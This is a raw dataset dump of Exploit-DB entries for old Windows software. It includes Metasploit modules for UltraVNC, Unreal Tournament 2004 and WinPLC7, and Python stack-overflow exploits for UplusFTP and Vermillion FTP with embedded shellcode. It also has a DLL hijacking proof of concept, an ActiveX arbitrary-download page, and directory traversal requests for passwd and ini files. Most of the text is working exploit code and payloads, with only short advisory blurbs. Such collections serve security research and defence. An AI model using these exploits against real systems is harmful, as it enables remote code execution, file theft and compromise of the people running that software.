deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18666
Description: UltraVNC 1.0.2 Client - 'vncviewer.exe' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-03-26
Author: Metasploit

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.

				If a malicious server responds to a client connection indicating a minor
				protocol version of 14 or 16, a 32-bit integer is subsequently read from
				the TCP stream by the client and directly provided as the trusted size for
				further reading from the TCP stream into a 1024-byte character array on
				the stack.
			},
			'Author'         => 'noperand',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-0610' ],
					[ 'OSVDB', '42840' ],
					[ 'BID', '27561' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3',	{ 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 6 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		sploit = rand_text_alpha(1100)   	# junk, could be more efficient here
		sploit << "\x00\x04\x00\x00" 	 	# value to get around a write
		sploit << rand_text_alpha(12)	 	# random junk
		sploit << "\xEB\x06" << make_nops(2)	# short relative jump
		sploit << [target.ret].pack('V') 	# pop/pop/ret (default is in vncviewer.exe)
		sploit << payload.encoded

=begin
		We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
		- These bytes are read directly by a call to ReadExact() with a size of 12.

		...
		if (m_minorVersion == 14 || m_minorVersion == 16)
		{
			int size;
			ReadExact((char *)&size,sizeof(int));
			char mytext[1024]; //10k
			ReadExact(mytext,size);
			mytext[size]=0;
		...

		If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
		We then append our data.
=end
		sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit

		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
		client.put(sploit)
		handler(client)
		service.close_client(client)
	end
end
Exploit-DB #34542
Description: UltraVNC 1.0.8.2 - DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-08-30
Author: Ivan Markovic

Exploit:
// source: https://www.securityfocus.com/bid/42846/info

UltraVNC is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

UltraVNC 1.0.8.2 is vulnerable; other versions may be affected. 

/*
====================================================================
UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll) 
====================================================================

$ Program: UltraVNC Viewer
$ Version: Connection 105
$ Download: http://www.uvnc.com/
$ Date: 2010/10/08
 
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org

Tested on: Windows XP SP2 && Windows XP SP3

How  to use : 

1> Compile this code as vnclang.dll
	gcc -shared -o vnclang.dll thiscode.c
2> Move DLL file to the directory where UltraVNC is installed
3> Open any file recognized by UltraVNC
*/


#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}
Exploit-DB #16693
Description: Unreal Tournament 2004 (Windows) - 'secure' Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
			'Description'    => %q{

			This is an exploit for the GameSpy secure query in
			the Unreal Engine.

			This exploit only requires one UDP packet, which can
			be both spoofed and sent to a broadcast address.
			Usually, the GameSpy query server listens on port 7787,
			but you can manually specify the port as well.

			The RunServer.sh script will automatically restart the
			server upon a crash, giving us the ability to
			bruteforce the service and exploit it multiple
			times.

			},
			'Author'         => [ 'stinko' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-0608'],
					[ 'OSVDB', '7217'],
					[ 'BID', '10570'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x5c\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['UT2004 Build 3186', { 'Rets' => [ 0x10184be3, 0x7ffdf0e4 ] }], # jmp esp
				],
			'DisclosureDate' => 'Jun 18 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(7787)
			], self.class)

	end

	def exploit
		connect_udp

		buf = make_nops(1024)
		buf[0, 60] = [target['Rets'][0]].pack('V') * 15
		buf[54, 4] = [target['Rets'][1]].pack('V')
		buf[0,  8] = "\\secure\\"
		buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded

		udp_sock.put(buf)

		handler
		disconnect_udp
	end

	def ut_version
		connect_udp
		udp_sock.put("\\basic\\")
		res = udp_sock.recvfrom(8192)
		disconnect_udp

		if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
			return m[1]
		end

		return
	end

	def check
		vers = ut_version

		if (not vers)
			print_status("Could not detect Unreal Tournament Server")
			return
		end

		print_status("Detected Unreal Tournament Server Version: #{vers}")
		if (vers =~ /^(3120|3186|3204)$/)
			print_status("This system appears to be exploitable")
			return Exploit::CheckCode::Appears
		end


		if (vers =~ /^(2...)$/)
			print_status("This system appears to be running UT2003")
			return Exploit::CheckCode::Detected
		end

		print_status("This system appears to be patched")
		return Exploit::CheckCode::Safe
	end

end
Exploit-DB #11328
Description: UplusFTP Server 1.7.0.12 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-02-04
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: UplusFtp Server 1.7.0.12 Remote Buffer Overflow
# Date: 02-03-2010
# Author: b0telh0
# Link: http://easyftpsvr.googlecode.com/files/uplusftp-server-1.7.0.12-en.zip
# Tested on: Windows XP SP3

# CWD, DELE, LIST, MKD, NLST (and etc) commands are also vulnerable.
# 


import socket
import time

# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
        "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
        "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
        "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
        "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
        "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
        "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
        "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
        "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
        "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
        "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
        "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
        "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
        "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
        "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
        "\x5d\xd9");

junk = "\x90" * 41
eip = "\x4e\xae\x3a\x7e"               #7E3AAE4E   JMP ESI USER32.dll
nops = "\x90" * 28

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "\n[+] UplusFtp Server v1.7.0.12 Exploit!"
    connect=s.connect(('10.1.1.110',21))
    d=s.recv(1024)
    print "[+] " +d
    print "[+] Sending username..."
    time.sleep(1)
    s.send('USER test\r\n')
    s.recv(1024)
    print "[+] Sending password..."
    time.sleep(1)
    s.send('PASS test\r\n')
    s.recv(1024)
    print "[+] Sending buffer..."
    time.sleep(1)
    s.send('APPE ' + junk + shellcode + eip + nops + 'r\n')
    print "[.] done!\n"
except:
    print "[-] Can't connect to ftp server!\n"
Exploit-DB #14496
Description: UPlusFTP Server 1.7.1.01 - (Authenticated) HTTP Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-28
Author: Karn Ganeshen & corelanc0d3r

Exploit:
#!/usr/bin/python
import socket,sys,base64

print """
#
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
	UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC
	Discovered by : Karn Ganeshen		   		   		   
	Author : Karn Ganeshen / corelanc0d3r
						   						   
	KarnGaneshen [aT] gmail [d0t] com 				   		   
	http://ipositivesecurity.blogspot.com
								   			   
	Greetz out to: 	corelanc0d3r
					http://corelan.be:8800/index.php
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
"""

# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Date Found : July 21, 2010
# Vendor notified on July 23, 2010
# Issue fixed and new version 1.7.1.02 released on July 23, 2010

if len(sys.argv) != 5:
    print "Usage: ./poc.py <Target IP> <Port> <User> <Password>"
    sys.exit(1)
 
target = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
pwd = sys.argv[4]

auth = base64.b64encode(user+":"+pwd)

buf="A"*1963
buf+="\x90"*179

# 165 bytes Calc.exe shellcode / badchars identified and excluded
buf+=("\xd9\xca\x29\xc9\xb1\x24\xbf\x3f\xc7\x66\x9f\xd9\x74\x24\xf4\x5e"
"\x31\x7e\x17\x03\x7e\x17\x83\xf9\xc3\x84\x6a\xf9\x24\x0c\x95\x01"
"\xb5\x06\xd0\x3d\x3e\x64\xde\x45\x41\x7a\x6b\xfa\x59\x0f\x33\x24"
"\x5b\xe4\x85\xaf\x6f\x71\x14\x41\xbe\x45\x8e\x31\x45\x85\xc5\x4e"
"\x87\xcc\x2b\x51\xc5\x3a\xc7\x6a\x9d\x98\x2c\xf9\xf8\x6a\x73\x25"
"\x02\x86\xea\xae\x08\x13\x78\xef\x0c\xa2\x95\x84\x31\x2f\x68\x71"
"\xc0\x73\x4f\x81\x10\xba\x4f\xed\x1d\xfd\x7f\x68\xe1\x86\x73\xf9"
"\xa2\x7a\x07\x8d\x3e\x2e\x9c\x05\x37\xdb\xaa\x5e\xc7\xab\xad\x60"
"\xc8\x40\xc5\x5c\x97\x67\xe0\xfc\x71\x01\xf4\x7f\xbd\x6a\x55\x17"
"\xce\x07\x51\xb8\x46\x80\xa4\xcc\x99\xe7\xa7\x37\xc6\x66\x34\xd4"
"\x27\x0c\xbc\x7f\x38")

buf+="\x90"*15

#[ XP SP2 ] -> "\x78\x16\xF3\x77"	#0x77F31678  JMP ESP
buf+="\x78\x16\xF3\x77"

#[ XP SP3 ] -> "\x3F\x71\x49\x7E"   #0x7E49713F  JMP ESP
#buf+="\x3F\x71\x49\x7E"

buf+="\x90"*30
buf+="\x66\x05\x7A\x03"      	#ADD AX,037A
buf+="\x66\x05\x7A\x03"      	#ADD AX,037A
buf+="\x66\x05\x7A\x03"      	#ADD AX,037A
buf+="\x50\xc3"             	#PUSH EAX + RET

print "[+] Launching exploit against " + target + "..."

head = "GET /list.html?path="+buf+" HTTP/1.1 \r\n"
head += "Host: \r\n"
head += "Authorization: Basic "+auth+"\r\n"
 
try:
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((target, port))
	s.send(head + "\r\n")
	print "[!] Payload sent..."
	s.close()
except:
	print "[x] Error!"
Exploit-DB #31980
Description: UUSee 2008 - UUUpgrade ActiveX Control 'Update' Method Arbitrary File Download
Type: remote
Platform: windows
Date: 2008-06-26
Author: Symantec

Exploit:
source: https://www.securityfocus.com/bid/29963/info

UUSee is prone to a vulnerability that can cause malicious files to be downloaded and saved to arbitrary locations on an affected computer.

Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible.

UUSee 2008 is vulnerable; other versions may also be affected.

<html> <object classid='clsid:2CACD7BB-1C59-4BBB-8E81-6E83F82C813B' id='target'></object> <script language='vbscript'> arg1="\Program Files\Common Files\uusee\" arg2="http://www.example.com/UU.ini" arg3="http://www.example2.com/mini3/uusee_client_update/remark.php" arg4=1 target.Update arg1 ,arg2 ,arg3 ,arg4 </script> </html>
Exploit-DB #22967
Description: Valve Software Half-Life 1.1 Client - Connection Routine Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2003-07-29
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/8299/info
 
Half-Life Client has been reported prone to a remotely exploitable buffer overflow condition.
 
The issue presents itself in the client connection routine, used by the client to negotiate a connection to the Half-Life game server. Due to a lack of sufficient bounds checking performed on both the parameter and value of data transmitted from the game server to the client, a malicious server may execute arbitrary code on an affected client.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22967.zip
Exploit-DB #33172
Description: Valve Software Source Engine - Format String
Type: remote
Platform: windows
Date: 2009-08-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/36061/info

Source Engine is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

An attacker may exploit this issue to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in a denial-of-service condition.

Source Engine 3968 and prior builds are affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33172-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33172-2.zip
Exploit-DB #6151
Description: Velocity Web-Server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2008-07-28
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-028


Application:                    Velocity web-server (a part of Velocity Security Management System)
Versions Affected:              Old version 1.0
Vendor URL:                     http://hirschelectronics.com
Bugs:                           Directory traversal File Download
Exploits:                       YES
Reported:                       03.03.2008
Second report:                  14.03.2008
Vendor response:                14.03.2008
Solution:
Date of Public Advisory:
Authors:                        Digital Security Research Group [DSecRG]


Description
***********

Velocity web-server has critical  directory traversal  vulnerability


Details
*******



Directory traversal vulnerability find in Velocity web-server
Attacker can exploit this by sending a url with url directory traversal




Example:



    http://[server]:[port]/../../../../../../../../../../../../../etc/passwd





Fix Information
***************


Version 1.o is very old. If you have thes version please it Update it to last version on http://hirschelectronics.com





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-28]
Exploit-DB #11293
Description: Vermillion FTP Deamon 1.31 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-01-30
Author: Dz_attacker

Exploit:
# Exploit Title: Vermillion FTP Deamon Remote BOF Exploit
# Date: 29/01/2010
# Author: Dz_attacker
# Software Link: http://www.softsea.com/download/Vermillion-FTP-Daemon.html
# Version: 1.31
# Tested on: Windows xp sp3
# Code :

#!/usr/bin/python

#[+] Original : http://www.global-evolution.info/news/files/vftpd/vftpd.txt

import socket
import sys
import time

if (len(sys.argv) != 2):
print "+++++++++++++++++++++++++++++++++++++++++++++++++"
print "[+] Vftpd Remote BOF Exploit"
print "[+] Exploit By Dz_attacker (dz_attacker@hotmail.fr)"
print "[+] Usage : %s <target_ip>" %sys.argv[0]
print "+++++++++++++++++++++++++++++++++++++++++++++++++\n"
sys.exit(0)



# win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x44\x5a\x32\x37\x44\x5a\x32\x37\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc1"
"\xbc\xec\x76\x83\xeb\xfc\xe2\xf4\x3d\x54\xa8\x76\xc1\xbc\x67\x33"
"\xfd\x37\x90\x73\xb9\xbd\x03\xfd\x8e\xa4\x67\x29\xe1\xbd\x07\x3f"
"\x4a\x88\x67\x77\x2f\x8d\x2c\xef\x6d\x38\x2c\x02\xc6\x7d\x26\x7b"
"\xc0\x7e\x07\x82\xfa\xe8\xc8\x72\xb4\x59\x67\x29\xe5\xbd\x07\x10"
"\x4a\xb0\xa7\xfd\x9e\xa0\xed\x9d\x4a\xa0\x67\x77\x2a\x35\xb0\x52"
"\xc5\x7f\xdd\xb6\xa5\x37\xac\x46\x44\x7c\x94\x7a\x4a\xfc\xe0\xfd"
"\xb1\xa0\x41\xfd\xa9\xb4\x07\x7f\x4a\x3c\x5c\x76\xc1\xbc\x67\x1e"
"\xfd\xe3\xdd\x80\xa1\xea\x65\x8e\x42\x7c\x97\x26\xa9\xc2\x34\x94"
"\xb2\xd4\x74\x88\x4b\xb2\xbb\x89\x26\xdf\x8d\x1a\xa2\xbc\xec\x76")

stage = "92060006,92080001,92120010,92150015,92000015,92040002,"
stage += "92050002,92060010,92000002,92050008,92120013,92020014,"
stage += "92030012,92000005,92050010,92070004,92140015,92110008,"
stage += "92040004,92050010,92030002,92030007,92080011,92150010,"
stage += "92100015,92070005,92140010,92100015,92070005,92140007,"
stage += "92150015,92140007,"

payload = shellcode + "\x44"*(500-len(shellcode))

buffer = "92040001,"*11
buffer += stage
buffer += "92020004,"
buffer += "92150011,"
buffer += "92010002,"
buffer += "92000000,"
buffer += "92020013,"
buffer += "92070000,"
buffer += "92040002,"
buffer += "92000000,"
buffer += "2"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((sys.argv[1],21))
print "[x] Sending Shellcode..."
s.recv(1024)
s.send('USER '+payload+'\r\n')
s.recv(1024)
s.send('PASS '+payload+'\r\n')
s.recv(1024)
s.send('SYST\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.recv(1024)
s.close()

time.sleep(2)

s2=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],21))
print "[x] Sending Exploit..."
s2.send('PORT '+buffer+'\r\n')
s2.close()
time.sleep(2)
print "[x] Hunting the shellcode..."
time.sleep(3)
raw_input("[x] Done, press enter to quit")
Exploit-DB #5213
Description: Versant Object Database 7.0.1.3 - Commands Execution
Type: remote
Platform: windows
Date: 2008-03-04
Author: Luigi Auriemma

Exploit:
Versant server <= 7.0.1.3 Arbitrary Commands Execution Exploit

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5213.zip (2008-versantcmd.zip)

# milw0rm.com [2008-03-04]
Exploit-DB #42693
Description: Viap Automation WinPLC7 5.0.45.5921 - Recv Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in VIPA
				Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
				WinPLC7 connects to a remote server and accepts a malicious packet.
				The first 2 bytes of this packet are read in and used as the size
				value for a later recv function.  If a size value of sufficiently
				large size is supplied a stack buffer overflow will occur
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'ZDI', '17-112' ],
					[ 'CVE', '2017-5177' ],
					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows 7 EN', 
							{
								# ws7v5.exe
								# jmp esp
								'Ret' => 0x00422354
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 28 2017'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
			], self.class)
	end

	def on_client_data(client)
		p = payload.encoded

		pkt =  "\x13\x88\x00\x00\x00"	# len
		pkt += Rex::Text.pattern_create(5000)

		pkt[848, 4] = [target.ret].pack('V')
		pkt[852, p.length] = p

		client.put(pkt)
		handler
		service.close_client(client)
	end

end
Exploit-DB #23544
Description: vicomsoft rapidcache server 2.0/2.2.6 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-01-15
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9428/info

It has been reported that RapidCache may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory using '../' character sequences.

RapidCache versions 2.2.6 and prior have been reported to be prone to this issue.

http://www.example.com:8080/../../../../../../../../windows/win.ini
Exploit-DB #25573
Description: Video Cam Server 1.0 - Administrative Interface Authentication Bypass
Type: remote
Platform: windows
Date: 2005-05-02
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/13459/info

Video Cam Server is prone to an authentication bypass vulnerability. This vulnerability exists because Video Cam Server fails to control access to the administrative interface. 

http://www.example.com/admin.html
Exploit-DB #25571
Description: video cam server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-05-02
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/13456/info

Video Cam Server is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. 

http://www.example.com/..\..\..\..\..\..\..\..\..\..\..\windows\system.ini
GET /../../../../../../../../../../../windows/system.ini HTTP/1.1